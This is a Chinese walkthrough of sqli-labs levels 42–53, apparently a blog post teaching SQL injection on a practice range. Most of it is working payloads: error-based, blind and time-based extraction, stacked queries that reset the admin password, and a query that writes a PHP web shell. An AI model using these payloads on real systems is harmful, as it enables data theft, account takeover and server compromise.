以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】

【Less-42】

使用 'or 1=1 -- aaa 密码,登陆成功。

找到注入点:密码输入框。

解题步骤:

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

获取到数据库、数据表、字段之后,可以根据SQL注入,尝试修改管理员密码。

';update security.users set password='1111' where username='admin' -- aaa

【Less-43】

与Less-42不同的点在于使用的闭合不同,')or 1=1-- aaa 密码,登陆成功。

解题过程和Less-42相似,具体如下:

解题步骤:

# 获取数据库名
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

# 获取字段名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-44】

基本与Less-42解题过程一样,只是Less-44没有信息提示,使用SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa


#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-45】

基本与Less-44解题过程基本一样,只是闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa


#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-46】

通过更换sort后面的数字,得到了不同顺序的结果,大致可以猜出用的order by 字段,此时可以and updatexml()方法实现SQL注入。

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

【Less-47】

基本和Less-46类似,只是多了一个单引号闭合,其他解题步骤基本一致。

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)  -- aaa

# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)  -- aaa

【Less-48】

此题由于没有信息显示,使用时间盲注判断数据库长度,字符、数据表名、字段名。

解题步骤:

# 猜数据库名的长度
?sort=1 and if(length(database())>1,sleep(5),1)

# 猜数据库名
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)

#  猜数据表名
?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)

#  猜数据字段名
?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)

结果为:

【Less-49】

与Less-48 类似,只是闭合类型不同,采用的是 单引号闭合,其他的和上一题一样。

 解题步骤:

# 猜数据库名的长度
?sort=1' and if(length(database())>1,sleep(5),1) -- aaa

# 猜数据库名
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

#  猜数据表名
?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa

#  猜数据字段名
?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa

【Less-50】

和Less-46一样,没有闭合,直接在后面注入,解题过程一模一样。

源码分析:

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

PS:此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。),容易出现堆叠注入。

尝试使用堆叠写码,一句话木马。 

# 后面的跟的是文件保存目录

?sort=1;select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php'

结果:

【Less-51】

与Less-50类似,只是闭合不同,使用的是单引号。 

解决方案:

# 获取数据库名
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from  -- aaa
information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

同样的,也可以实现SQL注入phpinfo();

# 后面的跟的是文件保存目录

?sort=1';select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php' -- aa

【Less-52】

尝试使用各种常见的闭合,总是不能正常显示,但是又没有错误提示,此时使用时间盲注解决。

and if(条件,满足结果,不满足结果)

# 猜数据库长度
and if(length(database())=8,sleep(5),1)

# 猜数据库的组成字母
and if(ascii(substr(database(),1,1))=115,sleep(5),1)

# 猜数据表的组成字母
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)

# 猜数据表的字段组成字母
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)

【Less-53】

与Less-52不同的点在于闭合的方式不同,使用的是单引号闭合。

解题步骤:

# 猜数据库长度
?sort=1' and if(length(database())=8,sleep(5),1) -- aaa

# 猜数据库的组成字母
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

# 猜数据表的组成字母
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa

# 猜数据表的字段组成字母
?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa

相关推荐

  1. SQL注入攻击与防御详细讲解

    2024-06-09 19:40:07       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-09 19:40:07       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-09 19:40:07       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-09 19:40:07       82 阅读
  4. Python语言-面向对象

    2024-06-09 19:40:07       91 阅读

热门阅读

  1. Web前端vdisk:技术与应用的深度解析

    2024-06-09 19:40:07       29 阅读
  2. ubuntu开机黑屏

    2024-06-09 19:40:07       23 阅读
  3. 基于axios给请求添加token

    2024-06-09 19:40:07       34 阅读
  4. Web后端的前端:揭秘跨界融合的深度探索

    2024-06-09 19:40:07       36 阅读
  5. 354. 俄罗斯套娃信封问题

    2024-06-09 19:40:07       26 阅读
  6. 在CentOS 7.9上安装和配置mitmproxy的详细步骤

    2024-06-09 19:40:07       28 阅读
  7. Web前端不挂科:深入探索与实战指南

    2024-06-09 19:40:07       24 阅读
  8. 小黑狗AI:新媒体AI创作的得力助手

    2024-06-09 19:40:07       33 阅读
  9. oracle linux和ubuntu的区别

    2024-06-09 19:40:07       30 阅读